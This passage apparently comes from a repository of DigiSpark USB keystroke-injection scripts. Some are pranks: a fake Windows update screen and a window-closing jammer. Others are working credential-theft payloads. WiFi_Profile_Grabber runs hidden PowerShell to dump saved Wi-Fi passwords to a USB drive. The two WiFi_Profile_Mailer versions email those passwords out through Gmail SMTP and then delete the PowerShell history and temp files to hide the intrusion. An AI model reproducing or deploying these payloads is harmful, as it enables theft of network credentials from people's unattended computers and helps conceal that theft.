29 | DigiKeyboard.delay(500); 30 | DigiKeyboard.sendKeyStroke(KEY_F); 31 | DigiKeyboard.delay(500); 32 | DigiKeyboard.sendKeyStroke(KEY_F, MOD_ALT_LEFT); 33 | DigiKeyboard.delay(500); 34 | DigiKeyboard.sendKeyStroke(KEY_X); 35 | DigiKeyboard.delay(600); 36 | DigiKeyboard.sendKeyStroke(KEY_D, MOD_GUI_LEFT); 37 | DigiKeyboard.delay(500); 38 | DigiKeyboard.sendKeyStroke(KEY_F10, MOD_SHIFT_LEFT); 39 | DigiKeyboard.delay(500); 40 | DigiKeyboard.sendKeyStroke(KEY_V); 41 | DigiKeyboard.delay(200); 42 | DigiKeyboard.sendKeyStroke(81); 43 | DigiKeyboard.delay(200); 44 | DigiKeyboard.sendKeyStroke(81); 45 | DigiKeyboard.delay(200); 46 | DigiKeyboard.sendKeyStroke(81); 47 | DigiKeyboard.delay(200); 48 | DigiKeyboard.sendKeyStroke(81); 49 | DigiKeyboard.delay(200); 50 | DigiKeyboard.sendKeyStroke(81); 51 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 52 | 53 | DigiKeyboard.delay(5000); 54 | DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); 55 | DigiKeyboard.delay(3000); 56 | DigiKeyboard.print("http://fakeupdate.net/win10u/index.html"); 57 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 58 | DigiKeyboard.delay(2000); 59 | DigiKeyboard.sendKeyStroke(KEY_F11); 60 | 61 | pinMode(led, OUTPUT); 62 | DigiKeyboard.update(); 63 | } 64 | 65 | void loop() { 66 | DigiKeyboard.sendKeyStroke(57); 67 | digitalWrite(led, 1); 68 | delay(on_wait); 69 | DigiKeyboard.sendKeyStroke(57); 70 | digitalWrite(led, 0); 71 | delay(off_wait); 72 | } 73 | -------------------------------------------------------------------------------- /WiFi_Info_Display/WiFi_Info_Display.ino: -------------------------------------------------------------------------------- 1 | #include "DigiKeyboard.h" 2 | 3 | void setup() { 4 | // don't need to set anything up to use DigiKeyboard 5 | } 6 | 7 | void loop() { 8 | DigiKeyboard.sendKeyStroke(0); 9 | DigiKeyboard.sendKeyStroke(0, MOD_GUI_LEFT); 10 | DigiKeyboard.delay(500); 11 | DigiKeyboard.println("cmd"); 12 | DigiKeyboard.delay(1000); 13 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 14 | DigiKeyboard.delay(500); 15 | DigiKeyboard.println("ipconfig"); 16 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 17 | DigiKeyboard.delay(5000); 18 | } 19 | -------------------------------------------------------------------------------- /WiFi_Profile_Grabber/WiFi_Profile_Grabber.ino: -------------------------------------------------------------------------------- 1 | //This DigiSpark script writes the wireless network credentials to a csv file in a usb mounted at d:\ - change accordingly. 2 | //Credits to p0wc0w. 3 | #include "DigiKeyboard.h" 4 | void setup() { 5 | } 6 | 7 | void loop() { 8 | DigiKeyboard.sendKeyStroke(0); 9 | DigiKeyboard.delay(500); 10 | DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); 11 | DigiKeyboard.delay(500); 12 | DigiKeyboard.print("cmd"); 13 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 14 | DigiKeyboard.delay(500); 15 | DigiKeyboard.print(F("powershell -NoP -NonI -W Hidden -Exec Bypass \"(netsh wlan show profiles) | Select-String '\:(.+)$' | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name=$name key=clear)} | Select-String 'Key Content\W+\:(.+)$' | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} | Export-Csv temp.csv\" ")); 16 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 17 | DigiKeyboard.delay(3000); 18 | DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); 19 | DigiKeyboard.delay(200); 20 | DigiKeyboard.print("cmd"); 21 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 22 | DigiKeyboard.delay(500); 23 | DigiKeyboard.print(F("copy temp.csv d:\\")); 24 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 25 | DigiKeyboard.delay(500); 26 | DigiKeyboard.print(F("del temp.csv")); 27 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 28 | DigiKeyboard.delay(500); 29 | DigiKeyboard.print("exit"); 30 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 31 | for(;;){ /*empty*/ } 32 | } 33 | -------------------------------------------------------------------------------- /WiFi_Profile_Mailer/README.md: -------------------------------------------------------------------------------- 1 | ### WiFi_Profile_Mailer.ino 2 | Use for Windows 7/8/8.1/Older Builds of Windows 10 3 | 4 | ### WiFi_Profile_Mailer_New.ino 5 | Use for newer builds of Windows 10 6 | -------------------------------------------------------------------------------- /WiFi_Profile_Mailer/WiFi_Profile_Mailer.ino: -------------------------------------------------------------------------------- 1 | //This DigiSpark script writes the wireless network credentials to a csv file and emails it. 2 | //Credits to p0wc0w. 3 | #include "DigiKeyboard.h" 4 | void setup() { 5 | } 6 | 7 | void loop() { 8 | DigiKeyboard.sendKeyStroke(0); 9 | DigiKeyboard.delay(500); 10 | DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); 11 | DigiKeyboard.delay(500); 12 | DigiKeyboard.print("cmd"); 13 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 14 | DigiKeyboard.delay(500); 15 | DigiKeyboard.print("MODE CON: COLS=15 LINES=1"); 16 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 17 | DigiKeyboard.delay(100); 18 | DigiKeyboard.print("COLOR EF"); 19 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 20 | DigiKeyboard.delay(100); 21 | DigiKeyboard.print(F("powershell -NoP -NonI -W Hidden -Exec Bypass \"(netsh wlan show profiles) | Select-String '\\:(.+)$' | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name=$name key=clear)} | Select-String 'Key Content\\W+\\:(.+)$' | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} | Export-Csv temp.csv\"")); 22 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 23 | DigiKeyboard.delay(3000); 24 | DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); 25 | DigiKeyboard.delay(500); 26 | DigiKeyboard.print("cmd"); 27 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 28 | DigiKeyboard.delay(500); 29 | DigiKeyboard.print("MODE CON: COLS=15 LINES=1"); 30 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 31 | DigiKeyboard.delay(100); 32 | DigiKeyboard.print("COLOR EF"); 33 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 34 | DigiKeyboard.delay(100); 35 | DigiKeyboard.print(F("powershell -NoP -NonI -W Hidden -Exec Bypass \"$SMTPInfo = New-Object Net.Mail.SmtpClient('smtp.gmail.com', 587); $SMTPInfo.EnableSsl = $true; $SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('GMAIL_USERNAME', 'GMAIL_PASSWORD'); $ReportEmail = New-Object System.Net.Mail.MailMessage; $ReportEmail.From = 'SENDER_MAIL'; $ReportEmail.To.Add('RECEIVER_MAIL'); $ReportEmail.Subject = 'DigiSpark Report'; $ReportEmail.Body = 'Attached is your report. - Regards Your Digispark'; $ReportEmail.Attachments.Add('temp.csv'); $SMTPInfo.Send($ReportEmail)\"")); 36 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 37 | DigiKeyboard.delay(500); 38 | DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); 39 | DigiKeyboard.delay(500); 40 | DigiKeyboard.print("cmd"); 41 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 42 | DigiKeyboard.delay(500); 43 | DigiKeyboard.print("MODE CON: COLS=15 LINES=1"); 44 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 45 | DigiKeyboard.delay(100); 46 | DigiKeyboard.print("COLOR EF"); 47 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 48 | DigiKeyboard.delay(100); 49 | DigiKeyboard.print(F("powershell -NoP -NonI -W Hidden -Exec Bypass \"del (Get-PSReadlineOption).HistorySavePath\"")); 50 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 51 | DigiKeyboard.delay(500); 52 | DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); 53 | DigiKeyboard.delay(500); 54 | DigiKeyboard.print("cmd"); 55 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 56 | DigiKeyboard.delay(500); 57 | DigiKeyboard.print("MODE CON: COLS=15 LINES=1"); 58 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 59 | DigiKeyboard.delay(100); 60 | DigiKeyboard.print("COLOR EF"); 61 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 62 | DigiKeyboard.delay(100); 63 | DigiKeyboard.print(F("del temp.csv")); 64 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 65 | DigiKeyboard.delay(100); 66 | DigiKeyboard.print(F("exit")); 67 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 68 | for(;;){ /*empty*/ } 69 | } 70 | -------------------------------------------------------------------------------- /WiFi_Profile_Mailer/WiFi_Profile_Mailer_New.ino: -------------------------------------------------------------------------------- 1 | //This DigiSpark script writes the wireless network credentials to a csv file and emails it. 2 | //Credits to p0wc0w. 3 | 4 | //NOTE about the New Version of this script: The older script stopped working on newer builds of Windows 10 5 | //since Windows 10 now require an elevated cmd or powershell to execute these commands. This version should 6 | //be faster (better, stronger...) and should work on all builds of Windows 10. For previous versions 7 | //of Windows or simply older builds of Windows 10, the other version works like a charm. 8 | 9 | #include "DigiKeyboard.h" 10 | void setup() { 11 | } 12 | 13 | void loop() { 14 | DigiKeyboard.sendKeyStroke(0); 15 | DigiKeyboard.delay(500); 16 | DigiKeyboard.sendKeyStroke(KEY_X, MOD_GUI_LEFT); 17 | DigiKeyboard.delay(500); 18 | DigiKeyboard.sendKeyStroke(KEY_A); 19 | DigiKeyboard.delay(500); 20 | DigiKeyboard.sendKeyStroke(KEY_Y, MOD_ALT_LEFT); 21 | DigiKeyboard.delay(500); 22 | DigiKeyboard.print(F("(netsh wlan show profiles) | Select-String '\\:(.+)$' | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name=$name key=clear)} | Select-String 'Key Content\\W+\\:(.+)$' | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} | Export-Csv -Path $env:userprofile\\temp.csv;exit")); 23 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 24 | DigiKeyboard.delay(3000); 25 | DigiKeyboard.sendKeyStroke(KEY_X, MOD_GUI_LEFT); 26 | DigiKeyboard.delay(500); 27 | DigiKeyboard.sendKeyStroke(KEY_A); 28 | DigiKeyboard.delay(500); 29 | DigiKeyboard.sendKeyStroke(KEY_Y, MOD_ALT_LEFT); 30 | DigiKeyboard.delay(500); 31 | DigiKeyboard.print(F("$SMTPInfo = New-Object Net.Mail.SmtpClient('smtp.gmail.com', 587); $SMTPInfo.EnableSsl = $true; $SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('GMAIL_USERNAME', 'GMAIL_PASSWORD'); $ReportEmail = New-Object System.Net.Mail.MailMessage; $ReportEmail.From = 'SENDER_MAIL'; $ReportEmail.To.Add('RECEIVER_MAIL'); $ReportEmail.Subject = 'DigiSpark Report'; $ReportEmail.Body = 'Attached is your report. - Regards Your Digispark'; $ReportEmail.Attachments.Add('temp.csv'); $SMTPInfo.Send($ReportEmail);exit")); 32 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 33 | DigiKeyboard.delay(500); 34 | DigiKeyboard.sendKeyStroke(KEY_X, MOD_GUI_LEFT); 35 | DigiKeyboard.delay(500); 36 | DigiKeyboard.sendKeyStroke(KEY_A); 37 | DigiKeyboard.delay(500); 38 | DigiKeyboard.sendKeyStroke(KEY_Y, MOD_ALT_LEFT); 39 | DigiKeyboard.delay(500); 40 | DigiKeyboard.print(F("del (Get-PSReadlineOption).HistorySavePath;exit")); 41 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 42 | DigiKeyboard.delay(500); 43 | DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); 44 | DigiKeyboard.delay(500); 45 | DigiKeyboard.print("cmd"); 46 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 47 | DigiKeyboard.delay(500); 48 | DigiKeyboard.print(F("del temp.csv")); 49 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 50 | DigiKeyboard.delay(100); 51 | DigiKeyboard.print(F("exit")); 52 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 53 | for(;;){ /*empty*/ } 54 | } 55 | -------------------------------------------------------------------------------- /Window_Jammer/Window_Jammer.ino: -------------------------------------------------------------------------------- 1 | // A simple script to have the DigiSpark constantly spam ALT+F4 and CTRL+W key combos forcing all active windows and browsers to close 2 | 3 | #include "DigiKeyboard.h" 4 | void setup() { 5 | } 6 | 7 | void loop() { 8 | DigiKeyboard.sendKeyStroke(0); 9 | DigiKeyboard.delay(100); 10 | DigiKeyboard.sendKeyStroke(KEY_W, MOD_CONTROL_LEFT); 11 | DigiKeyboard.delay(100); 12 | DigiKeyboard.sendKeyStroke(KEY_F4, MOD_ALT_LEFT); 13 | } 14 | -------------------------------------------------------------------------------- /_config.yml: -------------------------------------------------------------------------------- 1 | theme: jekyll-theme-hacker --------------------------------------------------------------------------------